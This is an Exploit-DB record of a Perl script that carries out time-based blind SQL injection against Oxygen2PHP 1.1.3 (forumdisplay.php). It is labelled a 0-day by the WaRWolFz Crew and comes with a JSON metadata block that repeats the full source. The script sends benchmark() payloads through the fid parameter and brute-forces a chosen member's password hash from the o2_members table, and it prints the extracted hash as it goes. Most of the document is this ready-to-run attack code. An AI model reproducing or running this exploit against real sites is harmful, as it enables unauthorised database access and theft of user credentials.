ID EDB-ID:14152
Type exploitdb
Reporter Dante90
Modified 2010-07-01T00:00:00
Description
Oxygen2PHP <= 1.1.3 (forumdisplay.php) Blind SQL Injection Exploit. Webapps exploit for php platform
#!/usr/bin/perl
#[0-Day] Oxygen2PHP <= 1.1.3 (forumdisplay.php) Remote Blind SQL Injection Exploit
#Coded By Dante90, WaRWolFz Crew
#Bug Discovered By: Dante90, WaRWolFz Crew
use strict;
use LWP::UserAgent;
use HTTP::Request::Common;
use Time::HiRes;
use IO::Socket;
my ($Hash,$Time,$Time_Start,$Time_End,$Response);
my ($Start,$End);
my @chars = (48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102);
my $Host = "http://www.victime_site.org/path/"; #Insert Victime Web Site Link
my $uid = shift or &usage;
my $Method = HTTP::Request->new(GET => $Host);
my $HTTP = new LWP::UserAgent;
my $Referrer = "http://warwolfz.altervista.org/";
my $DefaultTime = request($Referrer);
sub Blind_SQL_Jnjection{
my ($dec,$hex) = @_;
return "./forumdisplay.php?fid=-1'+OR+1!=(SELECT IF((ASCII(SUBSTRING(`password`,${dec},1))=${hex}),benchmark(200000000,CHAR(0)),0) FROM `o2_members` WHERE `uid`=${uid})/*";
}
for(my $I=1; $I<=32; $I++){ #N Hash characters
for(my $J=0; $J<=15; $J++){ #0 -> F
$Time_Start = time();
$HTTP->get($Host.Blind_SQL_Jnjection($I,$chars[$J]));
$Time_End = time();
$Time = request($Referrer);
refresh($Host, $DefaultTime, $J, $Hash, $Time, $I);
if($Time_End - $Time_Start > 6){
$Time = request($Referrer);
refresh($Host, $DefaultTime, $J, $Hash, $Time, $I);
if($Time_End - $Time_Start > 6){
syswrite(STDOUT,chr($chars[$J]));
$Hash .= chr($chars[$J]);
$Time = request($Referrer);
refresh($Host, $DefaultTime, $J, $Hash, $Time, $I);
last;
}
}
}
if($I == 1 && length $Hash < 0 && !$Hash){
print " * Exploit Failed *\n";
print " ------------------------------------------------------ \n";
exit;
}
if($I == 32){
print " * Exploit Successfully Executed *\n";
print " ------------------------------------------------------\n ";
system("pause");
}
}
sub usage{
system("cls");
{
print " \n [0-Day] Oxygen2PHP <= 1.1.3 (forumdisplay.php) Remote Blind SQL Injection Exploit\n";
print " ------------------------------------------------------ \n";
print " * USAGE: *\n";
print " * cd [Local Disk]:\\[Directory Of Exploit]\\ *\n";
print " * perl name_exploit.pl [uid] *\n";
print " ------------------------------------------------------ \n";
print " * Powered By Dante90, WaRWolFz Crew *\n";
print " * www.warwolfz.org - dante90_founder[at]warwolfz.org *\n";
print " ------------------------------------------------------ \n";
};
exit;
}
sub request{
$Referrer = $_[0];
$Method->referrer($Referrer);
$Start = Time::HiRes::time();
$Response = $HTTP->request($Method);
$Response->is_success() or die "$Host : ", $Response->message,"\n";
$End = Time::HiRes::time();
$Time = $End - $Start;
return $Time;
}
sub refresh{
system("cls");
{
print " \n [0-Day] Oxygen2PHP <= 1.1.3 (forumdisplay.php) Remote Blind SQL Injection Exploit\n";
print " ------------------------------------------------------ \n";
print " * USAGE: *\n";
print " * cd [Local Disk]:\\[Directory Of Exploit]\\ *\n";
print " * perl name_exploit.pl [uid] *\n";
print " ------------------------------------------------------ \n";
print " * Powered By Dante90, WaRWolFz Crew *\n";
print " * www.warwolfz.org - dante90_founder[at]warwolfz.org *\n";
print " ------------------------------------------------------ \n";
};
print " * Victime Site: " . $_[0] . "\n";
print " * Default Time: " . $_[1] . " seconds\n";
print " * BruteForcing Hash: " . chr($chars[$_[2]]) . "\n";
print " * BruteForcing N Char Hash: " . $_[5] . "\n";
print " * SQL Time: " . $_[4] . " seconds\n";
print " * Hash: " . $_[3] . "\n";
}
#WaRWolFz Crew
{"id": "EDB-ID:14152", "type": "exploitdb", "bulletinFamily": "exploit", "title": "Oxygen2PHP <= 1.1.3 forumdisplay.php Blind SQL Injection Exploit", "description": "Oxygen2PHP <= 1.1.3 (forumdisplay.php) Blind SQL Injection Exploit. Webapps exploit for php platform", "published": "2010-07-01T00:00:00", "modified": "2010-07-01T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "https://www.exploit-db.com/exploits/14152/", "reporter": "Dante90", "references": [], "cvelist": [], "lastseen": "2016-02-01T19:14:35", "viewCount": 5, "enchantments": {"score": {"value": 0.3, "vector": "NONE", "modified": "2016-02-01T19:14:35", "rev": 2}, "dependencies": {"references": [], "modified": "2016-02-01T19:14:35", "rev": 2}, "vulnersScore": 0.3}, "sourceHref": "https://www.exploit-db.com/download/14152/", "sourceData": "#!/usr/bin/perl\r\n#[0-Day] Oxygen2PHP <= 1.1.3 (forumdisplay.php) Remote Blind SQL Injection Exploit\r\n#Coded By Dante90, WaRWolFz Crew\r\n#Bug Discovered By: Dante90, WaRWolFz Crew\r\n\r\nuse strict;\r\nuse LWP::UserAgent;\r\n\r\nuse HTTP::Request::Common;\r\nuse Time::HiRes;\r\nuse IO::Socket;\r\n\r\nmy ($Hash,$Time,$Time_Start,$Time_End,$Response);\r\nmy ($Start,$End);\r\nmy @chars = (48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102);\r\nmy $Host = \"http://www.victime_site.org/path/\"; #Insert Victime Web Site Link\r\nmy $uid = shift or &usage;\r\nmy $Method = HTTP::Request->new(GET => $Host);\r\nmy $HTTP = new LWP::UserAgent;\r\nmy $Referrer = \"http://warwolfz.altervista.org/\";\r\nmy $DefaultTime = request($Referrer);\r\n\r\nsub Blind_SQL_Jnjection{\r\n\tmy ($dec,$hex) = @_;\r\n\treturn \"./forumdisplay.php?fid=-1'+OR+1!=(SELECT IF((ASCII(SUBSTRING(`password`,${dec},1))=${hex}),benchmark(200000000,CHAR(0)),0) FROM `o2_members` WHERE `uid`=${uid})/*\";\r\n}\r\n\r\nfor(my $I=1; $I<=32; $I++){ #N Hash characters\r\n\tfor(my $J=0; $J<=15; $J++){ #0 -> F\r\n\t\t$Time_Start = time();\r\n\t\t$HTTP->get($Host.Blind_SQL_Jnjection($I,$chars[$J]));\r\n\t\t$Time_End = time();\r\n\t\t$Time = request($Referrer);\r\n\t\trefresh($Host, $DefaultTime, $J, $Hash, $Time, $I);\r\n\t\tif($Time_End - $Time_Start > 6){\r\n\t\t\t$Time = request($Referrer);\r\n\t\t\trefresh($Host, $DefaultTime, $J, $Hash, $Time, $I);\r\n\t\t\tif($Time_End - $Time_Start > 6){\r\n\t\t\t\tsyswrite(STDOUT,chr($chars[$J]));\r\n\t\t\t\t$Hash .= chr($chars[$J]);\r\n\t\t\t\t$Time = request($Referrer);\r\n\t\t\t\trefresh($Host, $DefaultTime, $J, $Hash, $Time, $I);\r\n\t\t\t\tlast;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tif($I == 1 && length $Hash < 0 && !$Hash){\r\n\t\tprint \" * Exploit Failed *\\n\";\r\n\t\tprint \" ------------------------------------------------------ \\n\";\r\n\t\texit;\r\n\t}\r\n\tif($I == 32){\r\n\t\tprint \" * Exploit Successfully Executed *\\n\";\r\n\t\tprint \" ------------------------------------------------------\\n \";\r\n\t\tsystem(\"pause\");\r\n\t}\r\n}\r\n\r\nsub usage{\r\n\tsystem(\"cls\");\r\n\t{\r\n\t\tprint \" \\n [0-Day] Oxygen2PHP <= 1.1.3 (forumdisplay.php) Remote Blind SQL Injection Exploit\\n\";\r\n\t\tprint \" ------------------------------------------------------ \\n\";\r\n\t\tprint \" * USAGE: *\\n\";\r\n\t\tprint \" * cd [Local Disk]:\\\\[Directory Of Exploit]\\\\ *\\n\";\r\n\t\tprint \" * perl name_exploit.pl [uid] *\\n\";\r\n\t\tprint \" ------------------------------------------------------ \\n\";\r\n\t\tprint \" * Powered By Dante90, WaRWolFz Crew *\\n\";\r\n\t\tprint \" * www.warwolfz.org - dante90_founder[at]warwolfz.org *\\n\";\r\n\t\tprint \" ------------------------------------------------------ \\n\";\r\n\t};\r\n\texit;\r\n}\r\n\r\nsub request{\r\n\t$Referrer = $_[0];\r\n\t$Method->referrer($Referrer);\r\n\t$Start = Time::HiRes::time();\r\n\t$Response = $HTTP->request($Method);\r\n\t$Response->is_success() or die \"$Host : \", $Response->message,\"\\n\";\r\n\t$End = Time::HiRes::time();\r\n\t$Time = $End - $Start;\r\n\treturn $Time;\r\n}\r\n\r\nsub refresh{\r\n\tsystem(\"cls\");\r\n\t{\r\n\t\tprint \" \\n [0-Day] Oxygen2PHP <= 1.1.3 (forumdisplay.php) Remote Blind SQL Injection Exploit\\n\";\r\n\t\tprint \" ------------------------------------------------------ \\n\";\r\n\t\tprint \" * USAGE: *\\n\";\r\n\t\tprint \" * cd [Local Disk]:\\\\[Directory Of Exploit]\\\\ *\\n\";\r\n\t\tprint \" * perl name_exploit.pl [uid] *\\n\";\r\n\t\tprint \" ------------------------------------------------------ \\n\";\r\n\t\tprint \" * Powered By Dante90, WaRWolFz Crew *\\n\";\r\n\t\tprint \" * www.warwolfz.org - dante90_founder[at]warwolfz.org *\\n\";\r\n\t\tprint \" ------------------------------------------------------ \\n\";\r\n\t};\r\n\tprint \" * Victime Site: \" . $_[0] . \"\\n\";\r\n\tprint \" * Default Time: \" . $_[1] . \" seconds\\n\";\r\n\tprint \" * BruteForcing Hash: \" . chr($chars[$_[2]]) . \"\\n\";\r\n\tprint \" * BruteForcing N Char Hash: \" . $_[5] . \"\\n\";\r\n\tprint \" * SQL Time: \" . $_[4] . \" seconds\\n\";\r\n\tprint \" * Hash: \" . $_[3] . \"\\n\";\r\n}\r\n\r\n#WaRWolFz Crew", "osvdbidlist": []}
{}